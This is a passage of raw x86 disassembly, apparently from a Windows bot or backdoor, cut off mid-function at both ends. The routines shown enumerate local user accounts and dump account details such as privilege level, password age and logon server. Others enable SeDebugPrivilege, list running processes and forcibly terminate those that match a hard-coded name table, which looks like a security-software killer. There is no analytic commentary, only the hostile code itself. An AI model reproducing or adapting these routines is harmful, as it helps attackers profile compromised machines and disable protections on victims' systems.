loc_4194A9:				; CODE XREF: sub_419453+45j
		push	57h
		pop	eax


loc_4194AC:				; CODE XREF: sub_419453+35j
					; sub_419453+40j ...
		cmp	eax, edi
		jnz	short loc_4194D0


loc_4194B0:				; CODE XREF: sub_419453+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DE148
		push	off_43B9E4[eax*4]
		push	offset unk_43C1A0
		push	esi
		call	sub_41BEF6
		add	esp, 10h
		jmp	short loc_419517
; ---------------------------------------------------------------------------


loc_4194D0:				; CODE XREF: sub_419453+5Bj
		push	eax
		call	sub_419ADD
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DE148
		push	off_43B9E0[eax*4]
		push	offset unk_43C170
		push	esi
		call	sub_41BEF6
		add	esp, 18h
		jmp	short loc_419517
; ---------------------------------------------------------------------------


loc_4194F7:				; CODE XREF: sub_419453+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DE148
		lea	eax, [eax+eax*2]
		push	off_43B9E0[eax*4]
		push	offset unk_43C148
		push	esi
		call	sub_41BEF6
		add	esp, 0Ch


loc_419517:				; CODE XREF: sub_419453+7Bj
					; sub_419453+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41951E	proc near		; CODE XREF: sub_419453+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4192CE
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4192CE
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4192CE
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CE1E0
		pop	edi
		leave
		retn
sub_41951E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419578	proc near		; CODE XREF: sub_419453+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4192CE
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4192CE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CE1D0
		pop	esi
		retn
sub_419578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419599	proc near		; CODE XREF: sub_419453+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4192CE
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4192CE
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CE360
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_419926
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419961
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41BEF6
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4196B2
		dec	eax
		jz	short loc_4196AB
		dec	eax
		jz	short loc_4196A4
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4196B7
; ---------------------------------------------------------------------------


loc_4196A4:				; CODE XREF: sub_419599+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_4196B7
; ---------------------------------------------------------------------------


loc_4196AB:				; CODE XREF: sub_419599+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4196B7
; ---------------------------------------------------------------------------


loc_4196B2:				; CODE XREF: sub_419599+FCj
		mov	eax, offset aGuest_0 ; "Guest"


loc_4196B7:				; CODE XREF: sub_419599+109j
					; sub_419599+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409743
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419952
; ---------------------------------------------------------------------------


loc_419926:				; CODE XREF: sub_419599+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43C1C0
		push	eax
		call	sub_41BEF6
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409743
		add	esp, 20h


loc_419952:				; CODE XREF: sub_419599+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_419961
		push	[ebp+var_4]
		call	dword_4CE398


loc_419961:				; CODE XREF: sub_419599+40j
					; sub_419599+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419967	proc near		; CODE XREF: sub_401AA1+4658p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4192CE
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 18h


loc_4199A6:				; CODE XREF: sub_419967+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CE268
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419A07
		cmp	eax, 0EAh
		jz	short loc_419A07
		push	eax
		push	eax
		call	sub_419ADD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43C3B0
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 24h
		jmp	short loc_419A78
; ---------------------------------------------------------------------------


loc_419A07:				; CODE XREF: sub_419967+62j
					; sub_419967+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419A8B
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419A78


loc_419A15:				; CODE XREF: sub_419967+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_419A54
		push	dword ptr [edi]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419A15
		jmp	short loc_419A78
; ---------------------------------------------------------------------------


loc_419A54:				; CODE XREF: sub_419967+B6j
		push	offset unk_43C37C
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 1Ch


loc_419A78:				; CODE XREF: sub_419967+9Ej
					; sub_419967+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419A8B
		push	edi
		call	dword_4CE398
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_419A8B:				; CODE XREF: sub_419967+A5j
					; sub_419967+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4199A6
		cmp	edi, esi
		jz	short loc_419AA3
		push	edi
		call	dword_4CE398


loc_419AA3:				; CODE XREF: sub_419967+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419967	endp


; =============== S U B	R O U T	I N E =======================================



sub_419ADD	proc near		; CODE XREF: sub_41913D+41p
					; sub_419332+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419B8F
		jz	loc_419B88
		cmp	eax, 7Bh
		ja	short loc_419B54
		jz	short loc_419B4A
		cmp	eax, 5
		jz	short loc_419B40
		cmp	eax, 8
		jz	short loc_419B36
		cmp	eax, 32h
		jz	short loc_419B2C
		cmp	eax, 35h
		jz	short loc_419B22
		cmp	eax, 57h
		jnz	loc_419BDE
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B22:				; CODE XREF: sub_419ADD+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B2C:				; CODE XREF: sub_419ADD+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B36:				; CODE XREF: sub_419ADD+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B40:				; CODE XREF: sub_419ADD+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B4A:				; CODE XREF: sub_419ADD+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B54:				; CODE XREF: sub_419ADD+1Aj
		sub	eax, 7Ch
		jz	short loc_419B81
		sub	eax, 7C8h
		jz	short loc_419B7A
		dec	eax
		jz	short loc_419B70
		dec	eax
		jnz	short loc_419BDE
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419ADD+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419BFF
; ---------------------------------------------------------------------------


loc_419B7A:				; CODE XREF: sub_419ADD+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419B81:				; CODE XREF: sub_419ADD+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419B88:				; CODE XREF: sub_419ADD+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419B8F:				; CODE XREF: sub_419ADD+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419BC8
		jz	short loc_419BC1
		sub	eax, 8ADh
		jz	short loc_419BF3
		dec	eax
		dec	eax
		jz	short loc_419BBA
		dec	eax
		jz	short loc_419BB3
		dec	eax
		dec	eax
		jnz	short loc_419BDE
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BB3:				; CODE XREF: sub_419ADD+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BBA:				; CODE XREF: sub_419ADD+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BC1:				; CODE XREF: sub_419ADD+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BC8:				; CODE XREF: sub_419ADD+B9j
		sub	eax, 8CAh
		jz	short loc_419BFA
		sub	eax, 17h
		jz	short loc_419BF3
		sub	eax, 25h
		jz	short loc_419BEC
		sub	eax, 29h
		jz	short loc_419BE5


loc_419BDE:				; CODE XREF: sub_419ADD+35j
					; sub_419ADD+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BE5:				; CODE XREF: sub_419ADD+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BEC:				; CODE XREF: sub_419ADD+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BF3:				; CODE XREF: sub_419ADD+C2j
					; sub_419ADD+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419BFF
; ---------------------------------------------------------------------------


loc_419BFA:				; CODE XREF: sub_419ADD+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419BFF:				; CODE XREF: sub_419ADD+40j
					; sub_419ADD+4Aj ...
		push	offset dword_4DDEE0
		call	sub_41BEF6
		pop	ecx
		mov	eax, offset dword_4DDEE0
		pop	ecx
		retn
sub_419ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C11	proc near		; CODE XREF: sub_401AA1+469Dp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DED4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4280C8	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41DED4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DEB7
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CE318
		test	eax, eax
		jnz	short loc_419CA1
		mov	esi, offset dword_4DDCD8
		push	offset unk_43C6EC
		push	esi
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	short loc_419CCA
; ---------------------------------------------------------------------------


loc_419CA1:				; CODE XREF: sub_419C11+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419ADD
		pop	ecx
		mov	esi, offset dword_4DDCD8
		push	eax
		push	offset dword_43C6C0
		push	esi
		call	sub_41BEF6
		add	esp, 14h


loc_419CCA:				; CODE XREF: sub_419C11+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419C11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CCF	proc near		; CODE XREF: sub_4174AA+45p
					; sub_4174AA+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_428108	; GetCurrentProcess
		push	eax
		call	dword_4CE2EC	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419CEE
		leave
		retn
; ---------------------------------------------------------------------------


loc_419CEE:				; CODE XREF: sub_419CCF+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CE2C4	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419D2C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419D15
		or	[ebp+var_8], 2
		jmp	short loc_419D19
; ---------------------------------------------------------------------------


loc_419D15:				; CODE XREF: sub_419CCF+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419D19:				; CODE XREF: sub_419CCF+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CE374	; AdjustTokenPrivileges
		mov	esi, eax


loc_419D2C:				; CODE XREF: sub_419CCF+32j
		push	[ebp+var_4]
		call	dword_428070	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419CCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D3A	proc near		; CODE XREF: sub_401AA1+76E1p
					; sub_419F5D+74p ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CE328, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_419F29
		cmp	dword_4CE30C, ebx
		jz	loc_419F29
		cmp	dword_4CE21C, ebx
		jz	loc_419F29
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419CCF
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CE328	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_419F1C
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	edi
		call	dword_4CE30C	; Process32First
		mov	esi, dword_428070
		test	eax, eax
		jz	loc_419F17
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_4CE21C	; Process32Next
		test	eax, eax
		jz	loc_419F17
		mov	ebx, dword_42808C


loc_419DF9:				; CODE XREF: sub_419D3A+1D5j
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_419E56


loc_419E00:				; CODE XREF: sub_419D3A+E3j
		push	off_43C720[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_428190	; lstrcmpiA
		test	eax, eax
		jz	short loc_419E24
		add	edi, 4
		cmp	edi, 60h
		jb	short loc_419E00
		jmp	loc_419EFD
; ---------------------------------------------------------------------------


loc_419E24:				; CODE XREF: sub_419D3A+DBj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_419EFD
		push	0
		push	edi
		call	dword_428100	; TerminateProcess
		test	eax, eax
		jnz	loc_419EFD


loc_419E4E:				; CODE XREF: sub_419D3A+1A9j
		push	edi
		call	esi	; CloseHandle
		jmp	loc_419EFD
; ---------------------------------------------------------------------------


loc_419E56:				; CODE XREF: sub_419D3A+C4j
		cmp	[ebp+arg_C], edi
		jnz	loc_419EE8
		cmp	[ebp+arg_4], edi
		jz	loc_419EFD
		push	[ebp+var_124]
		push	8
		call	dword_4CE328	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_419EA8
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4CE1C8	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_419EAE
		lea	eax, [ebp+var_230]
		jmp	short loc_419EB4
; ---------------------------------------------------------------------------


loc_419EA8:				; CODE XREF: sub_419D3A+14Cj
		push	[ebp+var_124]


loc_419EAE:				; CODE XREF: sub_419D3A+164j
		lea	eax, [ebp+var_108]


loc_419EB4:				; CODE XREF: sub_419D3A+16Cj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h
		jmp	loc_419E4E
; ---------------------------------------------------------------------------


loc_419EE8:				; CODE XREF: sub_419D3A+11Fj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419F30


loc_419EFD:				; CODE XREF: sub_419D3A+E5j
					; sub_419D3A+FDj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_4CE21C	; Process32Next
		test	eax, eax
		jnz	loc_419DF9
		xor	ebx, ebx


loc_419F17:				; CODE XREF: sub_419D3A+9Dj
					; sub_419D3A+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_419F1C:				; CODE XREF: sub_419D3A+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419CCF
		pop	ecx
		pop	ecx


loc_419F29:				; CODE XREF: sub_419D3A+3Aj
					; sub_419D3A+46j ...
		xor	eax, eax


loc_419F2B:				; CODE XREF: sub_419D3A+221j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F30:				; CODE XREF: sub_419D3A+1C1j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_428100	; TerminateProcess
		test	eax, eax
		jnz	short loc_419F58
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_419F29
; ---------------------------------------------------------------------------


loc_419F58:				; CODE XREF: sub_419D3A+217j
		xor	eax, eax
		inc	eax
		jmp	short loc_419F2B
sub_419D3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F5D	proc near		; DATA XREF: sub_401AA1+2649o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_43C950
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
